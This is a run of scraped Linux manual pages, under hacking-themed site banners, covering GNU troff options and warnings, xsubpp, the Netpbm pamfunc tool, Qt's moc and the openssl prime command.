GNU troff is functionally compatible with the AT&T troff typesetter and features numerous extensions. Many people prefer to use the

command, a front end which also runs preprocessors and output drivers in the appropriate order and with appropriate options.

Options

-h and –help display a usage message, while -v and –version show version information; all exit afterward.

-a
Generate a plain text approximation of the typeset output. The read-only register .A is set to 1. This option produces a sort of abstract preview of the formatted output.

  • Page breaks are marked by a phrase in angle brackets; for example, “<beginning of page>”.

  • Lines are broken where they would be in the formatted output.

  • A horizontal motion of any size is represented as one space. Adjacent horizontal motions are not combined. Inter-sentence space nodes (those arising from the second argument to the .ss request) are not represented.

  • Vertical motions are not represented.

  • Special characters are rendered in angle brackets; for example, the default soft hyphen character appears as “<hy>”.

The above description should not be considered a specification; the details of -a output are subject to change.

-b
Write a backtrace reporting the state of troff’s input parser to the standard error stream with each diagnostic message. The line numbers given in the backtrace might not always be correct, because troff’s idea of line numbers can be confused by requests that append to macros.

-c
Start with color output disabled.

-C
Enable AT&T troff compatibility mode; implies -c. See

**-d **ctext
**-d string=**text
Define roff string c or string as text. c must be one character; string can be of arbitrary length. Such string assignments happen before any macro file is loaded, including the startup file. Due to

limitations, *c *cannot be, and string cannot contain, an equals sign, even though that is a valid character in a roff identifier.

-E
Inhibit troff error messages; implies -Ww. This option does not suppress messages sent to the standard error stream by documents or macro packages using tm or related requests.

**-f **fam
Use fam as the default font family.

**-F **dir
Search in directory dir for the selected output device’s directory of device and font description files. See the description of GROFF_FONT_PATH in section “Environment” below for the default search locations and ordering.

-i
Read the standard input stream after all named input files have been processed.

-I dir
Search the directory dir for files (those named on the command line; in psbb, so, and soquiet requests; and in “
\X’ps: import’
”, “\X’ps: file’”, and “\X’pdf: pdfpic’” device control escape sequences). -I may be specified more than once; each dir is searched in the given order. To search the current working directory before others, add “-I .” at the desired place; it is otherwise searched last. -I works similarly to, and is named for, the “include” option of Unix C compilers.

**-m name
Process the file name
.tmac
prior to any input files. If not found, *tmac.*name is attempted. name (in both arrangements) is presumed to be a macro file; see the description of GROFF_TMAC_PATH in section “Environment” below for the default search locations and ordering.

**-M **dir
Search directory dir for macro files. See the description of GROFF_TMAC_PATH in section “Environment” below for the default search locations and ordering.

**-n **num
Begin numbering pages at num. The default is 1.

**-o list
Output only pages in list, which is a comma-separated list of inclusive page ranges; n means page n, m
-**n means every page between m and n, -n means every page up to n, and n- means every page from n on. troff stops processing and exits after formatting the last page enumerated in list.

**-r **cnumeric-expression
**-r register=**numeric-expression
Define roff register c or register as numeric-expression. c must be a one-character name; register can be of arbitrary length. Such register assignments happen before any macro file is loaded, including the startup file. Due to

limitations, *c *cannot be, and register cannot contain, an equals sign, even though that is a valid character in a roff identifier.

-R
Don’t load troffrc and troffrc-end.

**-T **dev
Prepare output for device dev. The default is ps; see

-U
Operate in unsafe mode, enabling the open, opena, pi, pso, and sy requests, which are disabled by default because they allow an untrusted input document to write to arbitrary file names and run arbitrary commands. This option also adds the current directory to the macro package search path; see the -m and -M options above.

-w name
-W name
Enable (
-w
) or inhibit (
-W
) warnings in category name. See section “Warnings” below.

-z
Suppress formatted output.

Warnings

Warning diagnostics emitted by troff are divided into named, numbered categories. The name associated with each warning category is used by the -w and -W options. Each category is also assigned a power of two; the sum of enabled category codes is used by the warn request and the .warn register. Warnings of each category are produced under the following circumstances.

TABLE

break 4
A filled output line could not be broken such that its length was less than the output line length ** [.l]**. This category is enabled by default.

char 1
No mounted font defines a glyph for the requested character. This category is enabled by default.

color 524288
An undefined color name was selected, an attempt was made to define a color using an unrecognized color space, an invalid component in a color definition was encountered, or an attempt was made to redefine a default color.

delim 8
The closing delimiter in an escape sequence was missing or mismatched.

di 256
A di, da, box, or boxa request was invoked without an argument when there was no current diversion.

el 16
The el request was encountered with no prior corresponding ie request.

escape 32768
An unsupported escape sequence was encountered.

file 1048576
An attempt was made to load a file that does not exist. This category is enabled by default.

font 131072
A non-existent font was selected, or the selection was ignored because a font selection escape sequence was used after the output line continuation escape sequence on an input line. This category is enabled by default.

ig 262144
An invalid escape sequence occurred in input ignored using the ig request. This warning category diagnoses a condition that is an error when it occurs in non-ignored input.

input 16384
An invalid character occurred on the input stream.

mac 512
An undefined string, macro, or diversion was used. When such an object is dereferenced, an empty one of that name is automatically created. So, unless it is later deleted, at most one warning is given for each.

This warning is also emitted upon an attempt to move an unplanted trap macro. In such cases, the unplanted macro is not dereferenced, so it is not created if it does not exist.

missing 8192
A request was invoked with a mandatory argument absent.

number 2
An invalid numeric expression was encountered. This category is enabled by default.

range 64
A numeric expression was out of range for its context.

reg 1024
An undefined register was used. When an undefined register is dereferenced, it is automatically defined with a value of 0. So, unless it is later deleted, at most one warning is given for each.

right-brace 4096
A right brace escape sequence ** was encountered where a number was expected.

scale 32
A scaling unit inappropriate to its context was used in a numeric expression.

space 65536
A space was missing between a request or macro and its argument. This warning is produced when an undefined name longer than two characters is encountered and the first two characters of the name constitute a defined name. No request is invoked, no macro called, and an empty macro is not defined. This category is enabled by default. It never occurs in compatibility mode.

syntax 128
A self-contradictory hyphenation mode was requested; an empty or incomplete numeric expression was encountered; an operand to a numeric operator was missing; an attempt was made to define a recursive, empty, or nonsensical character class; or a groff extension conditional expression operator was used while in compatibility mode.

tab 2048
A tab character was encountered where a number was expected, or appeared in an unquoted macro argument.

Two warning names group other warning categories for convenience.

all
All warning categories except di, mac, and reg. This shorthand is intended to produce all warnings that are useful with macro packages and documents written for AT&T troff and its descendants, which have less fastidious diagnostics than GNU troff.

w
All warning categories. Authors of documents and macro packages targeting groff are encouraged to use this setting.

Environment

GROFF_FONT_PATH and GROFF_TMAC_PATH each accept a search path of directories; that is, a list of directory names separated by the system’s path component separator character. On Unix systems, this character is a colon (:); on Windows systems, it is a semicolon (;).

GROFF_FONT_PATH
A list of directories in which to seek the selected output device’s directory of device and font description files. troff will scan directories given as arguments to any specified -F options before these, then in a site-specific directory (/usr/share/groff/site-font), a standard location (/usr/share/groff/1.23.0/font), and a compatibility directory (/usr/lib/font) after them.

GROFF_TMAC_PATH
A list of directories in which to search for macro files. troff will scan directories given as arguments to any specified -M options before these, then the current directory (only if in unsafe mode), the user’s home directory,

a site-specific directory (/usr/share/groff/site-tmac), and a standard location (/usr/share/groff/1.23.0/tmac) after them.

GROFF_TYPESETTER
Set the default output device. If empty or not set, ps is used. The -T option overrides GROFF_TYPESETTER.

SOURCE_DATE_EPOCH
A timestamp (expressed as seconds since the Unix epoch) to use as the output creation timestamp in place of the current time. The time is converted to human-readable form using

and

when the formatter starts up and stored in registers usable by documents and macro packages.

TZ
The time zone to use when converting the current time to human-readable form; see

If SOURCE_DATE_EPOCH is used, it is always converted to human-readable form using UTC.

Files

/usr/share/groff/1.23.0/tmac/troffrc
is an initialization macro file loaded before any macro packages specified with -m options.

/usr/share/groff/1.23.0/tmac/troffrc-end
is an initialization macro file loaded after all macro packages specified with -m options.

/usr/share/groff/1.23.0/tmac/name.tmac
are macro files distributed with groff.

/usr/share/groff/1.23.0/font/devname*/DESC*
describes the output device name.

/usr/share/groff/1.23.0/font/devname*/*F
describes the font F of device name.

troffrc and troffrc-end are sought neither in the current nor the home directory by default for security reasons, even if the -U option is specified. Use the -M command-line option or the GROFF_TMAC_PATH environment variable to add these directories to the search path if necessary.

Authors

The GNU version of troff was originally written by James Clark; he also wrote the original version of this document, which was updated by Werner Lemberg, Bernd Warken, and G. Branden Robinson.

See also

Groff: The GNU Implementation of troff, by Trent A. Fisher and Werner Lemberg, is the primary groff manual. You can browse it interactively with “info groff”.

offers an overview of the GNU roff system and describes its front end executable.

details the groff language, including a short but complete reference of all predefined requests, registers, and escape sequences.

explains the syntax of groff special character escape sequences, and lists all special characters predefined by the language.

enumerates the differences between AT&T device-independent troff and groff.

covers the format of groff device and font description files.

describes the format of troff’s output.

includes information about macro files that ship with groff.

supplies background on roff systems in general, including pointers to further related documentation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

760 - Linux cli command xsubpp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xsubpp and provides detailed information about the command xsubpp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xsubpp.

NAME 🖥️ xsubpp 🖥️

compiler to convert Perl XS code into C code

SYNOPSIS

xsubpp [-v] [-except] [-s pattern] [-prototypes] [-noversioncheck] [-nolinenumbers] [-nooptimize] [-typemap typemap] [-output filename]… file.xs

DESCRIPTION

This compiler is typically run by the makefiles created by ExtUtils::MakeMaker or by Module::Build or other Perl module build tools.

xsubpp will compile XS code into C code by embedding the constructs necessary to let C functions manipulate Perl values and creates the glue necessary to let Perl access those functions. The compiler uses typemaps to determine how to map C function parameters and variables to Perl values.

The compiler will search for typemap files called typemap. It will use the following search path to find default typemaps, with the rightmost typemap taking precedence.

../../../typemap:../../typemap:../typemap:typemap

It will also use a default typemap installed as ExtUtils::typemap.

OPTIONS

Note that the XSOPT MakeMaker option may be used to add these options to any makefiles generated by MakeMaker.

-hiertype
Retains ‘::’ in type names so that C++ hierarchical types can be mapped.

-except
Adds exception handling stubs to the C code.

-typemap typemap
Indicates that a user-supplied typemap should take precedence over the default typemaps. This option may be used multiple times, with the last typemap having the highest precedence.

-output filename
Specifies the name of the output file to generate. If no file is specified, output will be written to standard output.

-v
Prints the xsubpp version number to standard output, then exits.

-prototypes
By default xsubpp will not automatically generate prototype code for all xsubs. This flag will enable prototypes.

-noversioncheck
Disables the run time test that determines if the object file (derived from the .xs file) and the .pm files have the same version number.

-nolinenumbers
Prevents the inclusion of ‘#line’ directives in the output.

-nooptimize
Disables certain optimizations. The only optimization that is currently affected is the use of targets by the output C code (see perlguts). This may significantly slow down the generated code, but this is the way xsubpp of 5.005 and earlier operated.

-noinout
Disable recognition of IN, OUT_LIST and INOUT_LIST declarations.

-noargtypes
Disable recognition of ANSI-like descriptions of function signature.

-C++
Currently doesn’t do anything at all. This flag has been a no-op for many versions of perl, at least as far back as perl5.003_07. It’s allowed here for backwards compatibility.

-s=… or -strip=…
This option is obscure and discouraged. If specified, the given string will be stripped off from the beginning of the C function name in the generated XS functions (if it starts with that prefix). This only applies to XSUBs without CODE or PPCODE blocks. For example, the XS: void foo_bar(int i); when xsubpp is invoked with -s foo_ will install a foo_bar function in Perl, but really call bar(i) in C. Most of the time, this is the opposite of what you want and failure modes are somewhat obscure, so please avoid this option where possible.

ENVIRONMENT

No environment variables are used.

AUTHOR

Originally by Larry Wall. Turned into the ExtUtils::ParseXS module by Ken Williams.

MODIFICATION HISTORY

See the file Changes.

SEE ALSO

perl (1), perlxs (1), perlxstut (1), ExtUtils::ParseXS

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

761 - Linux cli command pamfunc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamfunc and provides detailed information about the command pamfunc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamfunc.

.

NAME 🖥️ pamfunc 🖥️

Apply a simple monadic arithmetic function to a Netpbm image

SYNOPSIS

pamfunc { **-multiplier=**realnum | **-divisor=**realnum | **-adder=**integer | **-subtractor=**integer | **-min=**wholenum | **-max=**wholenum **-andmask=**hexmask **-ormask=**hexmask **-xormask=**hexmask -not **-shiftleft=**count -shiftright=count [-changemaxval] } [filespec]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamfunc reads a Netpbm image as input and produces a Netpbm image as output, with the same format, and dimensions as the input. pamfunc applies a simple transfer function to each sample in the input to generate the corresponding sample in the output. The options determine what function.

The samples involved are PAM samples. If the input is PBM, PGM, or PPM, the output will be that same format, but pamfunc applies the functions to the PAM equivalent samples, yielding PAM equivalent samples. This can be nonintuitive in the PBM case.

pamarith is the same thing for binary functions – it takes two images as input and applies a specified simple arithmetic function (e.g. addition) on pairs of samples from the two to produce the single output image.

Values

The functions fall into two categories: arithmetic (such as multiply by 5) and bit string (such as and with 01001000). For the arithmetic functions, the function arguments and results are the fraction that a sample is of the maxval, i.e. normal interpretation of PAM tuples. But for the bit string functions, the value is the the bit string whose value as a binary cipher is the sample value, and the maxval indicates the width of the bit string.

Arithmetic functions

The arithmetic functions are those selected by the options -multiplier, -divisor, -adder, -subtractor, -min, and -max.

As an example, consider an image with maxval 100 and a sample value of 10 and a function of “multiply by 5.” The argument to the function is 10/100 (0.1) and the result is 5 * 0.1 = 0.5. In the simplest case, the maxval of the output is also 100, so the output sample value is 0.5 * 100 = 50. As you can see, we could just talk about the sample values themselves instead of these fractions and get the same result (10 * 5 = 50), but we don’t.

Where it makes a practical difference whether we consider the values to be the fraction of the maxval or the sample value alone is where pamfunc uses a different maxval in the output image than it finds in the input image. See -changemaxval.

So remember in reading the descriptions below that the values are 0.1 and 0.5 in this example, not 10 and 50. All arguments and results are in the range [0,1].

Bit string functions

The bit string functions are those selected by the options -andmask, -ormask, -xormask, -not, -shiftleft, and -shiftright.

With these functions, the maxval has a very different meaning than in normal Netpbm images: it tells how wide (how many bits) the bit string is. The maxval must be a full binary count (a power of two minus one, such as 0xff) and the number of ones in it is the width of the bit string.

As an example, consider an image with maxval 15 and a sample value of 5 and a function of “and with 0100”. The argument to the function is 0101 and the result is 0100.

In this example, it doesn’t make any practical difference what we consider the width of the string to be, as long as it is at least 3. If the maxval were 255, the result would be the same. But with a bit shift operation, it matters. Consider shifting left by 2 bits. In the example, where the input value is 0101, the result is 0100. But if the maxval were 255, the result would be 00010100.

For a masking function, the mask value you specify must not have more significant bits than the width indicated by the maxval.

For a shifting operation, the shift count you specify must not be greater than the width indicated by the maxval.

PBM Oddness

If you’re familiar with the PBM format, you may find pamfunc’s operation on PBM images to be nonintuitive. Because in PBM black is represented as 1 and white as 0 (1.0 and 0.0 normlized), you might be expecting adding 1 to white to yield black.

But the PBM format is irrelevant, because pamfunc operates on the numbers found in the PAM equivalent (see above). In a PAM black and white image, black is 0 and white is 1 (0.0 and 1.0 normalized). So white plus 1 (clipped to the maximum of 1.0) is white.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamfunc recognizes the following command line options:

**-multiplier=**realnum
This option makes the transfer function that of multiplying by realnum. realnum must be nonnegative. If the result is greater than one, it is clipped to one.

Where the input is a PGM or PPM image, this has the effect of dimming or brightening it. For a different kind of brightening, see pambrighten(1) and ppmflash(1)

Also, see ppmdim(1) , which does the same thing as pamfunc -multiplier on a PPM image with a multiplier between zero and one, except it uses integer arithmetic, so it may be faster.

And ppmfade(1) can generate a whole sequence of images of brightness declining to black or increasing to white, if that’s what you want.

**-divisor=**realnum
This option makes the transfer function that of dividing by realnum. realnum must be nonnegative. If the result is greater than one, it is clipped to one.

This is the same function as you would get with -multiplier*,* specifying the multiplicative inverse of realnum.

**-adder=**integer
This option makes the transfer function that of adding integer/maxval. If the result is greater than one, it is clipped to one. If it is less than zero, it is clipped to zero.

Note that in mathematics, this entity is called an “addend,” and an “adder” is a snake. We use “adder” because it makes more sense.

**-subtractor=**integer
This option makes the transfer function that of subtracting integer/maxval. If the result is greater than one, it is clipped to one. If it is less than zero, it is clipped to zero.

Note that in mathematics, this entity is called a “subtrahend” rather than a “subtractor.” We use “subtractor” because it makes more sense.

This is the same function as you would get with -adder*,* specifying the negative of integer.

**-min=**wholenum
This option makes the transfer function that of taking the maximum of the argument and wholenum/maxval. I.e the minimum value in the output will be wholenum/maxval.

If wholenum/maxval is greater than one, though, every value in the output will be one.

**-max=**wholenum
This option makes the transfer function that of taking the minimum of the argument and wholenum/maxval. I.e the maximum value in the output will be wholenum/maxval.

If wholenum/maxval is greater than one, the function is idempotent – the output is identical to the input.

**-andmask=**hexmask
This option makes the transfer function that of bitwise anding with hexmask.

hexmask is in hexadecimal. Example: 0f

This option was new in Netpbm 10.40 (September 2007).

**-ormask=**hexmask
This option makes the transfer function that of bitwise inclusive oring with hexmask.

This is analogous to -andmask*.*

This option was new in Netpbm 10.40 (September 2007).

**-xormask=**hexmask
This option makes the transfer function that of bitwise exclusive oring with hexmask.

This is analogous to -andmask*.*

This option was new in Netpbm 10.40 (September 2007).

-not
This option makes the transfer function that of bitwise logical inversion (e.g. sample value 0xAA becomes 0x55).

pnminvert does the same thing for a bilevel visual image which has maxval 1 or is of PBM type.

This option was new in Netpbm 10.40 (September 2007).

**-shiftleft=**count
This option makes the transfer function that of bitwise shifting left by count bits.

This option was new in Netpbm 10.40 (September 2007).

**-shiftright=**count
This option makes the transfer function that of bitwise shifting right by count bits.

This is analogous to -shiftleft*.*

This option was new in Netpbm 10.40 (September 2007).

-changemaxval
This option tells pamfunc to use a different maxval in the output image than the maxval of the input image, if it helps. By default, the maxval of the output is unchanged from the input and pamfunc modifies the sample values as necessary to perform the operation.

But there is one case where pamfunc can achieve the same result just by changing the maxval and leaving the sample values unchanged: dividing by a number 1 or greater, or multiplying by a number 1 or less. For example, to halve all of the values, pamfunc can just double the maxval.

With -changemaxval*,* pamfunc will do just that.

As the Netpbm formats have a maximum maxval of 65535, for large divisors, pamfunc may not be able to use this method.

An advantage of dividing by changing the maxval is that you don’t lose precision. The higher maxval means higher precision. For example, consider an image with a maxval of 100 and sample value of 10. You divide by 21 and then multiply by 21 again. If pamfunc does this by changing the sample values while retaining maxval 100, the division will result in a sample value of 0 and the multiplication will also result in zero. But if pamfunc instead keeps the sample value 10 and changes the maxval, the division will result in a maxval of 2100 and the multiplication will change it back to 100, and the round trip is idempotent.

This option was new in Netpbm 10.65 (December 2013).

SEE ALSO

ppmdim(1) , pambrighten(1) , pamdepth(1) , pamarith(1) , pamsummcol(1) , pamsumm(1) , ppmfade(1) , pnminvert(1) , pam(1) , pnm(1) ,

HISTORY

This program was added to Netpbm in Release 10.3 (June 2002).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamfunc.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

762 - Linux cli command moc-qt5

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command moc-qt5 and provides detailed information about the command moc-qt5, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the moc-qt5.

NAME 🖥️ moc-qt5 🖥️

generate Qt meta object support code

SYNOPSIS

moc [-o file] [-i] [-f] [-k] [-ldbg] [-nw] [-p path] [-q path] [-v] file

DESCRIPTION

This page documents the Meta Object Compiler for the Qt GUI application framework. The moc reads one or more C++ class declarations from a C++ header or source file and generates one C++ source file containing meta object information for the classes. The C++ source file generated by the moc must be compiled and linked with the implementation of the class (or it can be #included into the class’s source file).

If you use qmake to create your Makefiles, build rules will be included that call the moc when required, so you will not need to use the moc directly.

In brief, the meta object system is a structure used by Qt (see http://doc.trolltech.com) for component programming and run time type information. It adds properties and inheritance information to (some) classes and provides a new type of communication between those instances of those classes, signal-slot connections.

OPTIONS

-o file
Write output to file rather than to stdout.

-f
Force the generation of an #include statement in the output. This is the default for files whose name matches the regular expression .[hH][^.]* (i.e. the extension starts with H or h ). This option is only useful if you have header files that do not follow the standard naming conventions.

-i
Do not generate an #include statement in the output. This may be used to run moc on a C++ file containing one or more class declarations. You should then #include the meta object code in the .cpp file (see USAGE below). If both -f and -i are present, the last one wins.

-nw
Do not generate any warnings. Not recommended.

-ldbg
Write a flood of lex debug information to stdout.

-p path
Makes moc prepend path/ to the file name in the generated #include statement (if one is generated).

-q path
Makes moc prepend path/ to the file name of qt #include files in the generated code.

-v
Displays the version of moc and Qt.

You can explicitly tell the moc not to parse parts of a header file. It recognizes any C++ comment (//) that contains the substrings MOC_SKIP_BEGIN or MOC_SKIP_END. They work as you would expect and you can have several levels of them. The net result as seen by the moc is as if you had removed all lines between a MOC_SKIP_BEGIN and a MOC_SKIP_END

USAGE

moc is almost always invoked by make(1), not by hand.

moc is typically used with an input file containing class declarations like this:

class YourClass : public QObject {
    Q_OBJECT
    Q_PROPERTY( ... )
    Q_CLASSINFO( ... )

public:
    YourClass( QObject * parent=0, const char * name=0 );
    ~YourClass();

signals:

public slots:

};

Here is a useful makefile rule if you only use GNU make:

m%.cpp: %.h
        moc $< -o $@

If you want to write portably, you can use individual rules of the following form:

mNAME.cpp: NAME.h
        moc $< -o $@

You must also remember to add mNAME.cpp to your SOURCES (substitute your favorite name) variable and mNAME.o to your OBJECTS variable.

(While we prefer to name our C++ source files .cpp, the moc doesn’t know that, so you can use .C, .cc, .CC, .cxx or even .c++ if you prefer.)

If you have class declarations in C++ files, we recommend that you use a makefile rule like this:

NAME.o: mNAME.cpp

mNAME.cpp: NAME.cpp
        moc -i $< -o $@

This guarantees that make(1) will run the moc before it compiles NAME.cpp. You can then put

#include “nNAME.cpp”

at the end of NAME.cpp, where all the classes declared in that file are fully known.

DIAGNOSTICS

Sometimes you may get linkage errors, saying that YourClass::className() is undefined or that YourClass lacks a vtbl. Those errors happen most often when you forget to compile the moc-generated C++ code or include that object file in the link command.

The moc will warn you about a number of dangerous or illegal constructs.

BUGS

The moc does not expand #include or #define, it simply skips any preprocessor directives it encounters. This is regrettable, but is normally not a problem in practice.

The moc does not handle all of C++. The main problem is that class templates cannot have signals or slots. This is an important bug. Here is an example:

class SomeTemplate<int> : public QFrame {
    Q_OBJECT
    ....
signals:
    void bugInMocDetected( int );
};

Less importantly, the following constructs are illegal. All of them have have alternatives which we think are usually better, so removing these limitations is not a high priority for us.

Multiple inheritance requires QObject to be first.

If you are using multiple inheritance, moc assumes that the first inherited class is a subclass of QObject. Also, be sure that only the first inherited class is a QObject.

class SomeClass : public QObject, public OtherClass {
    ...
};

This bug is almost impossible to fix; since the moc does not expand #include or #define, it cannot find out which one of the base classes is a QObject.

Function pointers cannot be arguments to signals or slots.

In most cases where you would consider that, we think inheritance is a better alternative. Here is an example of illegal syntax:

class SomeClass : public QObject {
    Q_OBJECT
    ...
public slots:
    // illegal
    void apply( void (*apply)(List *, void *), void * );
};

You can work around this restriction like this:

typedef void (*ApplyFunctionType)( List *, void * );

class SomeClass : public QObject {
    Q_OBJECT
    ...
public slots:
    void apply( ApplyFunctionType, char * );
};

It may sometimes be even better to replace the function pointer with inheritance and virtual functions, signals or slots.

Friend declarations cannot be placed in signals or slots sections

Sometimes it will work, but in general, friend declarations cannot be placed in signals or slots sections. Put them in the good old private, protected or public sections instead. Here is an example of the illegal syntax:

class SomeClass : public QObject {
    Q_OBJECT
    ...
signals:
    friend class ClassTemplate<char>; // illegal
};

Signals and slots cannot be upgraded

The C++ feature of upgrading an inherited member function to public status is not extended to cover signals and slots. Here is an illegal example:

class Whatever : public QButtonGroup {
    ...
public slots:
    QButtonGroup::buttonPressed; // illegal
    ...
};

The QButtonGroup::buttonPressed() slot is protected.

C++ quiz: What happens if you try to upgrade a protected member function which is overloaded?

- All the functions are upgraded.

- That is not legal C++.

Type macros cannot be used for signal and slot arguments

Since the moc does not expand #define, type macros that take an argument will not work in signals and slots. Here is an illegal example:

#ifdef ultrix
#define SIGNEDNESS(a) unsigned a
#else
#define SIGNEDNESS(a) a
#endif
class Whatever : public QObject {
    ...
signals:
    void someSignal( SIGNEDNESS(int) ); // illegal
};

A #define without arguments works.

Nested classes cannot be in the signals or slots sections nor have signals or slots

Here’s an example:

class A {
    Q_OBJECT
public:
    class B {
    public slots: // illegal
        void b();
        ...
    };
signals:
    class B {  // illegal
        void b();
	...
    }:
};

Constructors cannot be used in signals or slots sections

It is a mystery to us why anyone would put a constructor on either the signals or slots sections. You can’t, anyway (except that it happens to work in some cases). Put them in private, protected or public sections, where they belong. Here is an example of the illegal syntax:

class SomeClass : public QObject {
    Q_OBJECT
public slots:
    SomeClass( QObject *parent, const char *name )
        : QObject( parent, name ) {} // illegal
    ...
};

Properties need to be declared before the public section that contains the respective get and set functions

Declaring the first property within or after the public section that contains the type definition and the respective get and set functions does not work as expected. The moc will complain that it can neither find the functions nor resolve the type. Here is an example of the illegal syntax:

class SomeClass : public QObject {
    Q_OBJECT
public:
    ...
    // illegal
    Q_PROPERTY( Priority priority READ priority WRITE setPriority )
    Q_ENUMS( Priority )
    enum Priority { High, Low, VeryHigh, VeryLow };
    void setPriority( Priority );
    Priority priority() const;
    ...
};

Work around this limitation by declaring all properties at the beginning of the class declaration, right after Q_OBJECT:

class SomeClass : public QObject {
    Q_OBJECT
    Q_PROPERTY( Priority priority READ priority WRITE setPriority )
    Q_ENUMS( Priority )
public:
    ...
    enum Priority { High, Low, VeryHigh, VeryLow };
    void setPriority( Priority );
    Priority priority() const;
    ...
};

SEE ALSO

http://www.trolltech.com, C++ ARM, section r.11.3 (for the answer to the quiz), and http://doc.trolltech.com (for complete Qt documentation).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

763 - Linux cli command openssl-primessl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-primessl and provides detailed information about the command openssl-primessl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-primessl.

NAME 🖥️ openssl-primessl 🖥️

prime - compute prime numbers

SYNOPSIS

openssl prime [-help] [-hex] [-generate] [-bits num] [-safe] [-provider name] [-provider-path path] [-propquery propq] [-checks num] [number …]

DESCRIPTION

This command checks if the specified numbers are prime.

If no numbers are given on the command line, the -generate flag should be used to generate primes according to the requirements specified by the rest of the flags.

OPTIONS

-help
Display an option summary.

-hex
Generate hex output.

-generate
Generate a prime number.

-bits num
Generate a prime with num bits.

-safe
When used with -generate, generates a “safe” prime. If the number generated is n, then check that (n-1)/2 is also prime.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

-checks num
This parameter is ignored.

